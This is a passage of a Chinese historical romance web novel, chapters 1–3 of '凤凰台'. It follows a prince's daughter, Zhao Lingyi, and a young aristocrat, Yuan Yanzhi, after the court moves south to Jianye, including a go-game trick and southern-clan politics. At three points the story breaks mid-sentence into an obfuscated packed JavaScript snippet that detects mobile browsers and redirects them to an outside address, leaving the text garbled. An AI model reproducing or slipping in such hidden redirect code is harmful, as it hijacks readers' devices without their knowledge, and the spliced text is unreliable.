《凤凰台》 1. 羁鸟恋旧林(一) 赵令仪初见袁延之这天阳光明媚,没有一见倾心,相反,她有点讨厌这人。 晨光初照,泗水面上的烟霭薄雾缓缓散去,泛着粼粼波光,数艘航船随着水流节奏缓缓向南航行,划出一道道涟漪,仿佛一条条流动的银带。 伫立甲板上看去,河岸那些身穿白衫短打的百姓或背着竹篓卖鱼,或三五成群一起聊天,或卖力搬运货物。 凝望久了眼睛有些酸涩,再睁眼,那些人影化作个个白点在阳光下淡去,逐渐消失,剩下的只有如明镜一般的泗水,映照着天光云影。 赵令仪正欲回到船舱,另艘船上一束强光突地射到眼睛,她立时手捂紧眼睛,唤身边的侍女。 “谁人如此顽劣,用铜镜照我家女公子,不知会伤眼睛吗?”佩玖朝那艘船甲板上的人骂道,忙查看赵令仪眼睛,“要不要紧?我去禀告大王。” “不必。父亲肩负重担,这点小事何必叨扰。”赵令仪撩开帽帘,远远望去,两个十五六岁的少年人双手搭在船舷边上,笑得直不起身。 肩披鹤氅的少年郎收起爽朗笑声,隔空对赵令仪一揖,以示歉意,操着一口带着鼻音的洛阳话:“某向女郎谢罪,不知女郎籍贯何处,乘船可至建邺否?何处栖身,某好登门请罪。” “是登门提亲!”另一位脸上堆满坏笑,替好友说出心中实意。 瞧两人右腰悬挂美玉绶带,必为士族出身,行为举止却这般轻佻,赵令仪放下帽帘,冷声道:“厚颜无耻。” 后发言的少年郎端详一眼赵令仪衣着,高仰着头,嘴角似刀锋利地勾起:“女郎若知在下家门第,只怕要改口说自己厚颜。” 佩玖“呸”了一口:“你怎知我家门户不高,说出来吓死你,少胡沁侮辱我家女公子。” 闻言那个少年面色一沉,他岂能被一个奴隶嘲笑,好友拉了他衣袖,劝他留点风度,于是喉尖的刻薄话硬生生咽下。 隔着几丈远,赵令仪透过帽帘望去,隐约觉得鹤氅少年两眼紧锁在她身上,脸庞蓦然有些发烫,“郎君既肯道歉,就此作罢。”话音落完,拉着佩玖下了甲板。 回到船舱,赵令仪摘下帷帽。荀氏正在做针线活,见赵令仪脸颊微红,摸了下额头,“不在上面多待会儿,身体不适?”转头唤佩玖倒温水。 赵令仪先天不足,自幼体弱多病。船舱里空气不流通,荀氏让佩玖陪她上去透口气,又怕给江风吹病倒了。 佩玖抢话:“哪还有心情呢,不知谁家两位郎君借着烈阳当空,拿铜镜照女郎的眼睛,让他们道歉,他们还说些下流话欺负女郎。” “我若再不下来,佩玖指定用唾沫淹死他们。”赵令仪就着佩玖的手喝完水,用木棍将窗户支起来,船舱内顿时明亮些许。 又从书箱里摸出一卷竹简,趴在案上阅览起来,读到“吾欲与若复牵黄犬俱出上蔡东门逐狡兔,岂可得乎!①”赵令仪只觉胸口闷闷的,再也读不进去一个字。 耳边是荀氏凄婉的声音:“下来也好,多事之秋,多一事不如少一事。如今中原混乱,南渡以后还不知日子要怎么过,东吴人自古以来凶暴好战。” 船舱外微凉的秋风让赵令仪想起在洛阳度过的十二年不安的童年岁月。她不被允许出门,街上腥臭腾腾漫延到家里,头顶的云总是低沉沉的。在屋檐下也缩着脖子,生怕天上的云压在她头上。 两年前父亲恐被成都王颖杀,从邺城出逃归京,携带他们前往封国琅琊。不久,太傅令父亲镇守下邳,所幸,她与母亲安稳在琅琊度过了两个春秋。 琅琊……或许永远也回去不了。 贾后死后,惠帝成为傀儡,宗室诸王举兵自相残杀,并向胡人借兵,国力大衰,匈奴乘机涌入中原。 东海王越杀了成都王颖,成为最后赢家,挟天子令诸侯,自任太傅辅佐朝政。匈奴顺河北南下,关中粮草不继,为便于征集江东粮草,太傅出镇许昌。 许昌在洛阳以东,是重要的军镇,对于控制洛阳中枢以及东南的物资运转至关重要。 江东水路运往许昌必经寿春,先前运粮的广陵度支已死,而驻扎在寿春的扬州都督不满太傅已久,形成掣肘。 因此太傅急需一个人去江东牵制扬州都督,而这个人,就是她的父亲,琅琊王赵睿。 扬州管辖范围除了江南,还有江北的淮南、庐江两郡。太傅将扬州一分为二,江北两郡还归扬州都督管辖,江南归赵睿。赵睿迁安东将军,假节,都督扬州江南诸军事。 此次南下的还有封国一千多户人家,啼泣之声被水拍打船舷发出的“哗哗”声淹没。 百端交集中赵令仪眼皮上下龃龉,最终抵挡不住困意,睡了过去。日光偏移,泗水面上被染成金色,在余辉中她苍白脸上反射着两行晶莹的的光点。 归鸟在晚霞中飞过,甲板上的人陆陆续续回到船舱用飱,只有身穿鹤氅的少年人饶有兴致,手提一壶酒,倚靠船舷边昂首饮酒。 老仆上到甲板来,欲要去夺他手里酒壶,“三郎,长史不在,你又喝酒。” “阿耶远在青州,你不说,阿耶又怎会知道。”他目光落在水里的倒影,鼻间哼着调子。 玩心四起,他将壶中清酒倒入泗水中,原本平静的水面涌上一群鱼,蜂拥而至去抢那融入水中的酒液。 俯望水里众多的鱼儿竞相争斗,他嘴角微扬:“酒水就这么点儿,每个都想染指,我就一壶酒哪够分。” 忽想起什么,对老仆道:“船到淮阴靠岸后,我会修书一封,让阿耶必要时劝青州刺史过江,你替我交给邮驿。” 老仆一时有些摸不清他路数,“郎君何出此言,青州刺史过江与否,亦由太傅定夺。” “外有匈奴虎视眈眈,内有洛阳群臣口诛笔伐,太傅恐难以为继,身边的那位诸葛‘军师’虽善清谈,然与西蜀孔明相去甚远。”他摇首一笑,将最后一滴酒液饮尽。 船队从徐州下邳出发,进入泗水,往东南航行二百多里进入淮河,在淮河南岸的淮阴进入中渎水下广陵,顺着邗沟往南航行三百里,就能看到抵挡北方铁骑的天堑——长江,最后过江而达建邺。 水上航行的一个多月里,赵令仪晕船,上吐下泻,脸色愈发苍白。 到建邺城时已是深秋,元年九月初一。 下了船,赵令仪与几个女眷换乘犊车代步,行至清溪中桥时车轱辘停止了转动,她掀开黑盖帷,询问驾车人:“出什么事了?” “奴去前面看看。”佩玖说完下了车。 桥面狭小,前方犊车被人群拥围得难以前行,驻停路边。人群里年轻女郎面上满是无法抑制的喜悦,欢呼声几乎要掀翻屋顶。 她们手捧瓜果,不顾一切向牛车挤去,即使被推搡也不愿意放弃一睹车中少年郎风采的机会,人潮涌动让驾车的随从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923920|160411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难以招架。 “各位女郎心意我了然于心,感激不尽。”少年并未下车,幔帐洞开一角,他回以微笑,露出弯曲的指尖足以引得女子们雀跃。 那双手修长洁净,生得精雕细琢,容貌不必多想也是惊为天人。 当中有人看见自己的瓜果鲜花被收下,热泪盈眶。 佩玖脚背不知遭了多少人踩踏,无奈只好将情况汇报给赵令仪。 “这一时半会儿的车也行不通,走走停停我反倒头晕,不如下车,顺便瞧瞧是不是真的惊为天人。”赵令仪戴好帷帽下车。荀氏担心她,派佃客看护。 前方侍从不知对车内低语什么,车内人这才揎帘而下。 佩玖是鲜卑人,年长赵令仪几岁,个头也高出许多,先看清少年人面貌,惊呼道:“女郎,是船上照你眼睛那位。” 她洪亮的声音引人注目,少年人循声望去,众人为他让出一条道。 他唇角以恰如其好的弧度勾起,两睛漆黑有神,眼尾微挑,不笑时也是含着笑意的,眸光流转时尽显风流。 一袭罽窄袖长袍,交领绣以卷藤花树纹,与袖口人/兽葡萄纹相互辉映。脚踩皮屦缓缓走来,周遭人与他站于一处犹如蒹葭倚玉树。 早在老家时他便享有盛名,幼年走在街头,妇女们都放下手中活计,侧目观看他。 “真的貌比潘安呐。”路边妇人老眼昏花,这会儿看清样貌忍不住夸赞。 秋风蹚过长江,带着湿润气息向赵令仪扑来,卷起帽帘一角,她微讶的神情被旁人尽收眼底。 他眉毛一扬,似是意外之喜。赵令仪急忙掩好幕帘,心里恼火:这少年忒放荡,直勾勾盯着自己看。 忆起船上铜镜一事,赵令仪不悦道:“空有皮囊,招摇过市。吊名士人,无贤士焉。②那潘安仁为贾南风党羽,虽有容止美的盛誉,下场却令人唏嘘。” 他未将赵令仪的话听进去,见她身后驻停几辆犊车,佃客众多跟在后头,瞬间了然于心,对众人道:“十分惭愧,某竟引得城中交通滞塞,诸位女郎人美心善,不妨避一避,让这位女公子先过。” 他予以柔情注视众女子,这般眉目传情让女子们丢城卸甲,自发为赵令仪避让。 赵令仪提防的敌意一时松懈了下来,数落了他一番,他还能这样彬彬有礼,脸上蓦然闪过惭色,匆匆道句“多谢”,转身折返。 后头再次响起他的声音:“陈郡袁延之字安石,先前唐突女公子,还望女公子原宥。” 脚步一顿,赵令仪没有回头,只在舌尖轻念了声他的姓名。 望着犊车离开的方向,袁延之重温方才一幕。长眉疏朗,一对眸子似湖水清冽,波澜不惊,有山高水长禅意之美,再往下,蝤蛴之领,婀娜宜顾。 惨白皮肤下,若隐若现的青色血管给人一种纤弱之美,仿若风中摇曳柳枝,一吹就折。 船上隔得远,又戴着帷帽没瞧到,这下真真切切看个一清二楚,可惜是个病美人,袁延之不禁摇首。 随从闻新瞧袁延之若有所思模样,伸手在他面前晃动,“郎君不会是想……” 不待说完,袁延之给闻新脑门一颗暴栗,对上懵怔的眼睛,亲和微笑道:“想什么?我自有分寸。” 袁延之父亲一改父辈儒素习尚,由儒入玄,成为“八达”之一,袁家才跻身名士行列,与赵令仪家族社会地位相去甚远。 2. 羁鸟恋旧林(二) 恰逢重阳,袁延之携仆唤友登牛首山。 苍穹湛蓝万里,与碧波万顷的湖面相互交映。这个时节江南的草木还未凋落,途经阡陌,金菊开遍。不同于春色蓊郁苍翠,不远处枫树林似一片火海,秋风一吹,一地殷红叶子发出哗啦啦的响声。 袁延之骑着河曲马,身穿复袍,头戴接篱,上插茱萸花,后方垂带在风里飘飘扬扬。嘴里哼着曹丕的《燕歌行》,好不悠游自得。 沿途行来,只他一人不戴面衣,任萧瑟秋风拂面。 后边的闻新骑着黄牛赶不上袁延之的速度,手臂上还悬垂的茱萸囊时不时掉落山路,折返去拾距离又拉远少许。 “郎君,寒风割脸,你真的不戴面衣?”面衣由绫罗制成,四角缀带,用以防止冷风扑面。 袁延之掉过马头望他,见整张脸就剩两只眼睛露外,忍俊不禁道:“闻新,一路上/你见过吴人遮面?” “安石素来爱美,就算回去疼死,也绝作不猥琐似贼的装扮。”与他并行的正是船上一同戏弄赵令仪的少年,诸葛导次子诸葛恬。 南下建邺前,太傅升诸葛导从兄为青州刺史,袁延之父亲是青州刺史的长史,也一同前去。 此前两家也多有来往,两人年岁相仿,一见如故。样貌皆是上品,常同出游,路人称叹:悦目令人心情畅快,可比当年潘安、夏侯湛“连壁”。 瞧他神采飞扬,诸葛恬缓缓展露笑颜,高挺胸膛,“我说安石,你棋艺不精,不如将你那榧木天地柾棋盘赠我。” 制作柾目围棋盘时,边材和核心部分用不上,若选材天地柾或天柾,需要具备足够大的直径的木材方可实现,干燥期需要至少树龄四百岁的榧树。此外,还要找寻没有节疤和落雷痕迹的完美材质,那样的材质可谓少之又少,一木难求。 诸葛恬围棋是出了名的,性格高傲目中无人也是出了名的,袁延之倒是认为真性情,笑道:“你围棋号称第一,我自不如你,东西送你也算物尽其用。” “如此,恭敬不如从命,”诸葛恬有模有样朝他抱拳,好奇一问:“安石何时对那个女子上心的?莫非家学渊源,先前就是邻里,时常爬墙偷窥。” 知是在调侃父亲年轻的风流韵事,袁延之哂笑了之,“既是我邻里,岂有豫敬不知的女郎?再者,幼时不喜与女子嬉戏,及长,反为女子所戏。父母给我生了这样一副好皮囊,自当不容浪费。” “安石性情倒是随了令尊,恬自愧弗如。”诸葛恬真心喜欢这个朋友,洒脱风流,若中原未乱,假以时日必能名动洛阳。 望到前方亭中有人下围棋,诸葛恬来了兴致,三人在亭前下马。 后方青牛驮着一辆并车缓缓驶来,前后跟着四个侍从、两个婢女,车夫勒紧朱络绳,对车中人道:“女公子,再往前路又窄又陡,牛车实在过不去了。” 听到“女公子”,诸葛恬眸子立即瞟向袁延之:“与女子嬉戏的机会来了,我和闻新帮安石拖住这女郎身边奴仆。” 作为好友,不能白拿一副围棋,诸葛恬按捺下与人斗棋心思,拉住袁延之。两人颇有兴致玉立一旁,宝马香车,里面该是怎样一位标志美人。 车里少女探出头,一手扶着女使的手臂,一手提起长裙,露出精美的翘头履,绯碧间色裙摆从马凳上一阶一阶迤逦而下。 绀发垂髫,面如白霜,下颌瘦削,长颈优雅,躬身低首时两弯长眉显得恬静。 诸葛恬定睛一看那名鲜卑女使,脑中遽然闪过自己被啐了一口的画面。 一时激动,手掌重重一拍袁延之后背,“我想起来了,是船上辱骂我的那个鲜卑奴婢。”他自小习武,手劲大,换成女子一掌下去怕要呕出血。 所幸袁延之也是个练家子,身形纹丝未动,暗暗腹诽:下手忒重了点,仅是一个骂过他的女奴,何至如此动怒。 直至那双琥珀色眸子落入诸葛恬眼帘,他才对她的身份有了几分肯定,琅琊王有一妾荀氏,正是鲜卑人。念及父亲在安东将军幕府,胸中怒气殆尽,他本该敬而远之,既决定为好友助力,断没有半途跑路道理。 诸葛恬将手一横,拦住赵令仪去向,“女公子想必登高而来,若不嫌弃,在下的马愿一借。”侧目看向好友,眼中满是在说“兄弟我为了你,甘愿牺牲”。 预料中的“娇羞一笑然后接受”并未降临,佳人忽地一笑,直言了断:“恐怕要辜负郎君好意,我不会骑马,也并未想继续前行。” 袁延之以袖遮唇,忍着笑,这个倨傲的好友能在一个女子身上吃瘪,少见,真是少见。 亭中青年男子起身,用带着吴腔的官话自报家门,将众人视线引到身上:“鄙人吴郡陆姓,名纳,字祖言。秋干风燥,诸位不妨坐下润润喉。” 见是江左数一数二的大族,两个少年也交换了姓名。 “润润喉罢,阿螭?”袁延之唤诸葛恬小名,好声哄着,换得对方一记冷眼便立即噤声。 《泰始律》规定十六成丁,诸葛恬未及冠便尚未取字,“阿螭”音同“阿痴”,在外忌讳有人唤他小名。 袁延之只当诸葛恬被拂了面子,忘了原先欲要对弈,起身看了眼陆纳面前棋盘上残局,躬身道:“祖言兄棋艺令愚弟望尘莫及。” “不敢不敢。”陆纳谦起身还了一礼,其实他的棋艺在江左无所出其右,担下这一声礼赞也不为过。见诸葛恬红脸坐在一边,好意邀请:“听闻诸葛二郎围棋号称第一,不知今日是否有幸,请教一二。” 这话对诸葛恬很受用,他眼珠子骨碌碌一转,抬高了音量:“两个男人对弈有什么意思。” 话外之音如此浅显,袁延之意会神领,朝赵令仪浅笑道:“女公子可愿赏个脸?” 赶在她婉拒前,诸葛恬冷冷一笑:“你何必强人所难,许是女公子不会下围棋。” 一旁的佩玖见识过诸葛恬的毒舌,知道他嘲讽自家女公子,用激将法想令女公子出丑。护主的本能使她欲出声反驳,不料赵令仪不喜不怒先开了口:“两人有什么意思,不如三人同时对弈?” 赵令仪施施然起身,面上从容淡然,向两位少年投来一道目光,泠泠的,像南方冬日的溪水,冷得令人哆嗦。 两人是围棋的佼佼者,谁人不知,她不愿惹麻烦,却也不惧,这个骄矜的少年多次不依不饶,在他自傲之处挫败他,那才是诛心。 “哦?怎么个三人对弈?”袁延之扬眉一笑,竟不知闺中还藏有一名绝世棋手。 “两盘棋,三人下,我各与你二人对弈。公平起见,我一盘执黑子,一盘执白子。赢你二人其中一个,或是两盘棋皆是和棋,就算我赢。以防旁人提醒作弊,未参与者不可观局。” 佩玖在赵令仪身后附耳道:“女郎,家中两位公子您都比不过,何况是他二人。” 那一张玉颜面色不改,唤佩玖去车上取棋。 “女公子好胆量,若有赌注岂不更精彩?若在下赢了,送帖子到女公子府上,届时女公子前来赴宴。”少年人的自傲了了可见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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佩玖将一只铫子放在炉火上炖药,侧视赵令仪露在被褥外瘦削的肩,“女郎今天就不该坐在亭里几个时辰,闹了风寒。不过,女郎棋艺什么时候这么好了?” 她思索了半个时辰,实在不知自家女郎围棋是怎么赢的,明明前几日还是两位公子手下败将,而两位公子也常输给他们的好友。 “其实白日我并未参与对弈,”瞥见佩玖不解地皱着眉,赵令仪笑道:“我心底有数比不过他二人,他二人背对而坐,又无旁观者,谁能发现这两盘棋一样。而两盘棋我各执黑白子,只需记下两人棋子落在何处,将诸葛恬的黑子一分不差来对付陆祖言,反之亦然,这样一来就是他们在对弈。” “难怪女郎要同时与两人对弈呢。”佩玖慢慢捋清,对赵令仪又是佩服。 两人对话落入荀氏耳里,只剩赵令仪在风里吹了几个时辰。知这两人今日疯玩,唠叨道:“明知身弱,还不多加注意。佩玖你也是的,女郎年龄小不懂事,你也跟着瞎胡闹。” 赵令仪每年换季她都高烧不断,害得荀氏佩玖还有兄弟担心。 “阿母,我知道错了。”她话说一半,又咳起来,荀氏做母亲哪舍怪罪,不过嘴上聒噪,忙给她递来手炉。 门吱呀一声推进,进来一个高鼻深目少年,“我听仆从说予安病了,过来看看。” “阿兄!”赵令仪眉梢一扬,身子从床上探了出来。 赵绍瞧见床头放着散开的竹简,先是轻叹一声,似悲似喜道:“病中仍刻苦研读,予安若是个男儿郎,定能使一隅安居乐业。” “令仪为父兄出谋划策,一样可以。”她伸长纤细脖颈,像只憨态可掬的鹅,逗得佩玖和赵绍笑合不拢嘴。 “眼下情况不容乐观。”赵绍收起笑脸,正襟危坐,“今日,诸葛司马邀江左名声卓越的陆士瑶到家中品酪,我与父亲同在,诸葛司马请婚陆氏,你们猜,这事成了没有?” 3. 羁鸟恋旧林(三) 荀氏略一思索,随口道:“我想应当是成了,陆家在孙吴时期就开始没落,而诸葛司马在洛阳有声望,族兄又是太傅心腹。” 佩玖觉得说得在理,虚虚点头。 讲故事的人大袖一挥,故作高深,模仿耆老,捋了捋本不存在的长胡,“培无松柏,薰莸不同器,某不能为乱/伦之始。” 几个本就是未长大的孩子,当即捧腹大笑。 赵绍年少心性高,冷哼道:“这话看似自贬,说陆家配不上诸葛门第,实则气傲心高不屑与我们北人为伍。” “当年曹操拉拢荀令君,也是看中了背后颍川荀氏力量,通过荀彧去招揽更多的士族人才。陆家言语决绝,这是明确告诉父亲,不要试图借此来拉拢江东士族。”赵令仪心底琢磨着这个“始”字,眸光一亮。 又道:“江东士族之间常有联姻,不与外族通婚,陆家不敢开启与北人通婚的先河,恐为江东人所斥。” 陆纳待人也算和蔼近人,而诸葛恬自负,两人若结为亲家,也算互补。赵令仪为自己恶趣味发笑。 佩玖将药汁滤出,钧瓷碗里冒出腾腾热气,淡淡的苦涩味弥漫开来,钻进赵令仪的鼻子,惹得两弯黛眉颦蹙,笑容遁隐,赶忙从佩玖手里拿块奶酪含在嘴里。 奶酪是北方特产,南人吃不习惯。 陆玩在诸葛府上吃了奶酪,回到家中就腹泻不止,翌日写信函差人送到诸葛府。 诸葛导浏览完信上寥寥几字传给长子诸葛悦,最后递到诸葛恬手里。 诸葛恬沉不住气,愤然读出声:“仆虽吴人,几为伧鬼!” 昨日输了围棋,诸葛恬满是忿忿不平,若先知晓陆家这样欺负人,他必然要揍一顿陆纳。将纸揉成一团,拍案大喝:“这实在可恶,骂我们‘’伧人’!阿耶好意邀请,那老貉子先是拒婚,置阿姊面子何处搁?如今又送劳什子书信,显得我诸葛家毒害他。” 中原是正朔所在,与江东同为汉人,却南北划分,相互歧视。 昔年,蜀汉借荆州,关羽就常骂吴人“貉子”,江东俊才陆机祖上两代皆是赫赫名将,在洛阳依然被北士质疑:貉奴亦知用兵乎?南人不甘示弱,用“伧人”骂北人粗鄙,南北地域歧视根深蒂固久矣。 “阿螭!”坐诸葛导旁边的诸葛悦年纪稍长,言行更稳重些,“父亲还未发话,着急什么。” 转而看到父亲面上未有愠怒,诸葛悦温和道:“父亲,江东士族接受安东将军不过迟早,只需等待一个合适时机。陆士瑶族兄卷入八王之乱被冤杀,如今作壁上观也是为了自保。” “阿悦分析有理,”诸葛导从次子身上收回厌烦目光,赞许点头,对长子展露笑颜:“那依你之见,如今江东还有谁可以拉拢?” 一声低昂的琴声遽然响起,诸葛悦辨出这是臣弦调过音后与君弦音同高,使两根琴弦拨动时得到同样的低音旋律,遂知这首曲子是《聂政刺韩傀曲》。 旋律继续推进,曲调琴声忽而高亢,忽而平缓,全曲灌注了一股愤慨不屈的浩然之气。 琴声停,屏风后出来一位袅娜娉婷的少女,出落得如秋水芙蓉,厅上父子几人全予以赞赏钦佩的目光。 先前狂傲的少年人利索起身将位子让出,垂脚做胡床,连连叫好:“阿姊仅凭几张残存琴谱便能推断补全,奏出全段,不知道还以为是嵇叔夜在弹奏。” “少拍我的马屁。”诸葛毓以指点了他的额头,跪坐席上,对小弟弟不敬的坐姿无奈视之,向主座父亲道:“吴郡顾彦先可一试,顾家在江左亦是名望,也更在意江东局势。” 拊掌声骤起,“世叔府上的女郎可谓女诸葛。”袁延之长身廊下走来,广袖随着徐徐步伐飘逸而动。 他这样悄然出现,带来明媚春意,手中的麈尾扇若有若无摇动,仿佛将暮秋的萧索扫尽。 本是恭维之语,因她姓诸葛,显得他无比真诚。出于礼仪,诸葛毓莞尔回礼。 面对厅门的墙上挂着诸葛家先人画像,袁延之庄重地向画像先行礼,而后对诸葛导揖拜。 “哟,世侄来了。”诸葛导笑吟吟,对袁延之不拘一格的做派颇为欣赏。 “我听闻毓姊姊被陆氏拒婚,特来安慰一番,不承想姊姊泰然自若,无我用武之地了。”袁延之噙着笑意,刻意咬重“毓姊姊”二字,暗昧不明,在外人看来却似义愤填膺。 诸葛恬正在气头上,于是怒道:“你是来安慰还是来嘲讽?”对座的兄长瞪他一眼,他气不过撇过脸,两颊涨鼓鼓的。 袁延之早就习惯诸葛恬的臭脾气,并未在心里忌恨。 气氛陡然变得死寂,诸葛毓盈盈一笑,打破尴尬:“春秋时期,郑太子忽以‘’齐大非偶’拒绝迎娶齐僖公女儿文姜,后来郑国内乱,太子忽死于非命。文姜最终嫁给鲁桓公允,在鲁国可谓独宠后宫。” 齐僖公为春秋早期三小霸之一,与齐国联姻很多太子求之不得,而郑太子忽拒绝两次,失国身亡或许是拒婚齐国的后果。 觉锋芒太过,诸葛悦补上一句:“塞翁失马,焉知非福。” 见那张明艳的脸高扬下颌展露出美人裂,袁延之笑意更深。明面上随口一说,引经据典,却把陆氏贬得不识好歹,维护了诸葛氏的傲气。 见父亲没有要回避袁延之的意思,诸葛毓续上前言:“丹杨郡内史见惯中原政/治局势动荡,常忧无雄主护卫江东,遂让一个六品下才的广陵度支过江统治。” 三年前,张、石二人起兵作乱,奔袭寿春。广陵度支统领陈敏大军驻扎在寿春筹粮,兵力不过叛军的一成,却乘胜追击叛军交战数十次,平定徐、扬二州。 彼时,江东无藩王出镇,缺乏重兵,顾荣希望借助陈敏的力量来维护江东的稳定,向其投靠。况,陈敏是扬州庐江郡人,地缘上也更让江东人信任。 袁延之捕捉到诸葛毓并不明显的嗤笑,接过话头:“然,陈敏过江后排斥南士,顾彦先便联合本地豪族将其诛杀,足以看出他在意江东局势。” 陈敏矫旨杀了当地长官,企图独霸江东,刑政无章,自加九锡,与太傅争雄。太傅幕僚写信给顾荣,顾荣恐被推入深渊,决意反叛,于二月与江东几个豪族共剿之。 “吴人可以为江东利益向一个六品下才投靠,也可以因江东利益无情背叛,稍有不满便一举倾之。”诸葛恬隽秀的眼睛射出寒光,“若是重蹈覆辙,你我族人项上人头只怕要落地!” 这不过是一种合作关系,有的只是残酷算计,一旦触犯利益就会杀你。可眼下初到江左,正是亟待南士的支持。 诸葛导呵斥:“不得无礼。”眸子落在袁延之手中麈尾扇,冁然一笑,“世侄长于清谈,卓荦不群,年纪轻轻便有独到见解。” 言讫,让女婢给他斟上酪浆。 “有劳。”袁延之轻声答谢,寻常不过的字眼经他口中吐出,只觉缱绻万千。 起初女婢退至一旁,当下近在咫尺,忍不住抬眼窥视,正巧对上一双潋滟的眸子,脑中一空,将浆洒出茶瓯。 再看时,袁延之长袖一拂落座,又俨然一副正襟危坐模样,女婢错觉重重,只道自己臆想。 那人接着道:“江东士人小富即安,局面难以整合,亦不愿江东再出现第二个广陵度支,来日遭朝廷讨伐。安东将军只需安顿好过江北方士人,尊重江左士族利益。” 前车之鉴历历在目,若无江南士族支持,赵睿和诸葛导前路危矣。 *** 午后赵令仪倚靠榻上,手肘撑在三足凭几,将昨夜后半卷读完。 青瓷香薰里燃着檀香,日光透过雕花窗照射在缓缓流动的青烟上,烟雾的纹理和流动方向清晰可见。 佩玖从街上回来,见门外有一华服男子扫地,遂小跑进屋来告诉赵令仪,上气不接下气:“女郎,他真的在门外扫地!” “当真?”赵令仪将信将疑放下书卷,起身趿上了金薄履,理好衣襟前去大门。 屋檐上积水顺着筒瓦之间的凹处滴水而下,在青石板路上溅起一阵阵水花。 一夜风雨过后,竹叶飘落一地,那一身紫苑罗襦于石阶下挥动扫帚,侍从撑着油纸伞为他遮雨,他后背还是免不了被洇湿。 “怎么是你?”见到那翩翩身影,赵令仪有些诧异,捏了捏手腕上的银跳脱。 袁延之将扫帚一丢,掸平衣上褶皱,俨然又是一副清贵公子模样。眉梢上挂着几滴水珠,衬得他皮肤愈发白皙。 “女公子见到在下好像很失望,可昨日女公子并没指名道姓谁来兑现。”他仅是晏晏一笑,便使话中生出几分令人遐想的暧昧。 真是咬文爵字的行家,赵令仪瞥了眼门卫,把话挑明:“我并非真的要诸葛二郎扫大门,只是你二人三番两次……” “戏弄女公子?”袁延之会心一笑,“女公子记忆力惊人,只怕现在两位棋手都被蒙在鼓里。谁戏弄谁呢,女公子?” 琥珀双瞳有了一丝波动,他知道却未告诉诸葛恬,兀自按照赌注来安东将军府。赵令仪接过佩玖手中的伞,踱步阶下,迎上妖冶的眸子,“所以,你为何不告诉他们?” “若只有我与女公子知晓,不就成了你我之间的秘密。”袁延之刻意将这诳语压低,手向赵令仪耳后伸去。 她耳根一烫,往后退了一步,耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923922|160411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垂与冰凉的指尖擦过,修长两指夹住飘飞的竹叶,现于她眼前,“女公子头上落了片竹叶。” 在她防备的目光中,他扬起一贯不羁的笑容。 佩玖堪堪扶住赵令仪身形,不满道:“有话就好好说,怎么动手脚的。” 闻新气不过,回嘴道:“我家郎君十指不沾阳春水,给你们将军府扫大门,你们就是这样待人的?” “闻新!”袁延之轻喝,在袖中捻了捻指头上稍纵即逝上的檀香,视线落在莹白的玉质耳珰,“女公子何必将袁某视为洪水猛兽。” 踯躅间,另一边的诸葛恬与赵绍见两人在立在雨中,皆是一怔。在建邺待了数日后,由于父辈的关系,几个少年也逐渐相互熟悉起来。 “安石!你真的——” 看到地上扫帚畚箕和袁延之一身雨水,诸葛恬就知道这傻小子为和美人多一些亲近,把面子尽丢,一个士族子弟怎么能做洒扫的粗事。 赵绍见赵令仪衣服单薄,语气有些重,倒没怪罪:“你病未痊愈,怎站在雨里?” 赵令仪被长兄一语惊醒,面上一窘,知他是在关心,遂福了福身,“让阿兄忧心了。”与佩玖进去了。 回到屋内,赵令仪将诸葛恬说过的话剖析一番,将某两句联系一起: 是上门提亲。 若我赢了,送帖子到女公子府上,届时女公子前来赴宴。 诸葛恬是为袁延之才下那样的赌注,袁延之代替诸葛恬洒扫也是二人提前约好的,她差点就着了他二人的道,还为自己心胸不够宽广而惭愧。 思及,赵令仪思绪渐乱。 *** 鸣笙起秋风,置酒飞冬雪。 才入十一月庭院中几株黄色收口蜡梅初绽于飞雪下,闲散慵懒,枝头停栖的云雀抖了抖身上晶莹雪粉,展翅躲入亭子补间斗拱。 亭中几位士人身穿貂裘,煮茶赏雪。 伶俐的女婢净完手,将水注进瓯窑青瓷茶釜,置于炭火之上,小扇轻摇,随着水温的升高,水面上开始出现细小的“蟹眼”。 茶叶在水中舒展,清香随之四溢,茶沫下沉,细轻的汤花浮于上面。银叶茶筅搅拌过后,呈出淡淡的黄色,清澈见底,最后加一点细盐,倒入一杯杯茶碗中。 “妙呀,彦先兄,若乃淳染真辰,色绩青霜,①配上淡雅的东瓯青瓷茶碗。”纪瞻浅酌一口,眉目舒展,笑道:“入口便调神和内,倦解慵除。茶是成都茶,只是这次彦先兄用的是什么水?品来只觉与从前不同。” 顾荣虽有得意之色,也不卖关子:“汲取岷江上游所流下的清水。” 一说及江水,纪瞻忆起九月瑯琊王携北土渡江,他与顾荣身为吴郡望族至今两月,尚未上门拜访。搁下茶碗,想问问顾荣意见:“彦先兄想必也知道瑯琊王初镇建邺,按礼我等是该拜望一下。” 顾荣知纪瞻所顾忌,凝望庭院中飘飞的细雪,一时冷意上身,感慨道:“自汉末以来,天下多故,名士少有全者。忆昔洛阳大乱,我弃官南归,常叹华亭鹤唳,仕途之险,实难自全。” 陆机任中书之职,齐王囧疑陆机参与九锡以及惠帝禅诏之文,交付廷尉治罪,仰赖成都王颖搭救,遂委身颖麾下。 